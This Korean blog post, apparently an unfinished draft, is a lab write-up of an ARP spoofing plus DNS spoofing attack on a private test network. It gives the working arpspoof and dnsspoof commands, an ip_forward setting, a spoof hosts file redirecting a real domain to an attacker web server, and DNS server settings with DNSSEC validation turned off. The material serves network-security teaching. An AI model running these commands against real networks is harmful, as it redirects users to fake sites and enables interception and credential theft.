본문 바로가기
Infra & Security Eng/Network & Security

ARP 스푸핑을 이용한 DNS Spoofing 공격 실습과 결론_수정해야함

by 엔지니어 E 2026. 3. 13.
반응형

수정중

원리 요약
이 공격은 ARP 스푸핑을 통해 길목을 차단하고, DNS 스푸핑으로 가짜 이정표를 제시하는 2단계 공격이다

ARP 리다이렉트: 클라이언트(11.7)에게 "내가 게이트웨이(11.1)다"라고 속여서, 클라이언트가 외부로 보내는 모든 패킷이 공격자(11.36)를 거치게 만든다 (물리적 주소 탈취)
DNS 스푸핑: 공격자가 가로챈 패킷 중 DNS 질의(itclass.co.kr)를 발견하면, 실제 DNS 서버보다 빠르게 공격자가 설정한 가짜 IP(11.17)를 응답으로 보낸다

결론
물리적 변화: 공격 후 클라이언트에서 arp -a를 확인했을 때, 게이트웨이(11.1)의 MAC 주소가 공격자(11.36)의 MAC 주소와 동일하게 변조 된다
통신 변화: 클라이언트는 정상적인 사이트에 접속한다고 생각하지만, 실제로는 공격자가 의도한 웹 서버(11.17)로 접속하게 된다

성공 요인
1.  ip_forward 설정으로 클라이언트의 인터넷 연결을 유지시킨 점
2.  dnsspoof를 통해 진짜 DNS 응답보다 가짜 응답을 먼저 도달시킨 점

핵심 시사점
네트워크 계층(ARP)의 취약점을 이용해 애플리케이션 계층(DNS)의 신뢰성을 무너뜨릴 수 있으며, 사용자는 주소창에 올바른 도메인을 입력하더라도 가짜 사이트에 노출될 수 있다.
실습 네트워크 환경 구성도 

웹서버: 192.168.11.17 - 이미 아파치 서버를 세팅이선행 되어야 함
클라이언트서버: 192.168.11.7(Windows XP) 
캐쉬서버: 192.168.11.18
공격자 서버: 192.168.11. 36
게이트웨이: 192.168.11.1
DNS 캐쉬 서버
# systemctl start named - 서비스 실행
# vi /etc/named.conf 에서 내용 수정 

options {
        listen-on port 53 { any; }; - any 로 수정 
        listen-on-v6 port 53 { any; }; - any 로 수정

        directory       "/var/named";
        dump-file       "/var/named/data/cache_dump.db";
        statistics-file "/var/named/data/named_stats.txt";
        memstatistics-file "/var/named/data/named_mem_stats.txt";

        # 모든 클라이언트가 이 DNS 서버에 쿼리를 날릴 수 있게 허용 (any로 수정)
        allow-query     { any; };

        # 재귀적 쿼리 허용 (캐시 서버 역할 수행)
        recursion yes;

        dnssec-enable yes;
        dnssec-validation no; - no로 수정 
-> 검은색 강조 표시만 수정함

웹 서버
1. 192.168.11.17에 웹 서버를 설치 한다 
* 방화벽 허용 했는지 확인하기 # firewall-cmd --permanent --add-port=80/tcp , firewall-cmd --reload
* 웹서버에서 ServerName localhost:80

클라이언트 서버
2. WinXP 클라이언트 서버에서 itclass.co.kr  에 접속 되는지 확인 한다
* ipconfig /flushdns 로 캐쉬를 먼저 지워 놓는다 
* 네트워크 dns 서버는 192.168.11.18 로 세팅 해야 한다 

공격자 서버 
3. # mkdir -p /usr/share/dsniff/ - 파일 만들기 
4. # vi /usr/share/dsniff/dnsspoof.hosts 파일 열어서 해당 ip, 도메인명 추가하기 
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
192.168.11.17    itclass.co.kr
192.168.11.17    *.itclass.co.kr
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

[ ARP 리다이렉트 공격]


5 .(터미널1) # echo 1 > /proc/sys/net/ipv4/ip_forward - 공격자가 중간에서 패킷을 가로챘을 때, 이를 다시 목적지로 전달(Relay)해줘야 클라이언트의 통신이 끊기지 않는다. 이 설정이 안 되면 스푸핑 응답을 보내기도 전에 네트워크가 죽어버린다



# arpspoof -i eth0 -t 192.168.11.7 192.168.11.1 - 클라이언트(11.7)의 패킷이 공격 서버를 (11.36)를 거쳐가게 만든다 (내가 게이트웨이라고 속임) 




6. # dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts 


[DNS 스푸핑 공격]
8. (터미널 4) # dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts


공격전 클라이언트 서버 물리 주소 상태


공격후 클라이언트 서버 물리 주소 가 동일하게 변경되었음을 확인함


공격 전 


공격 후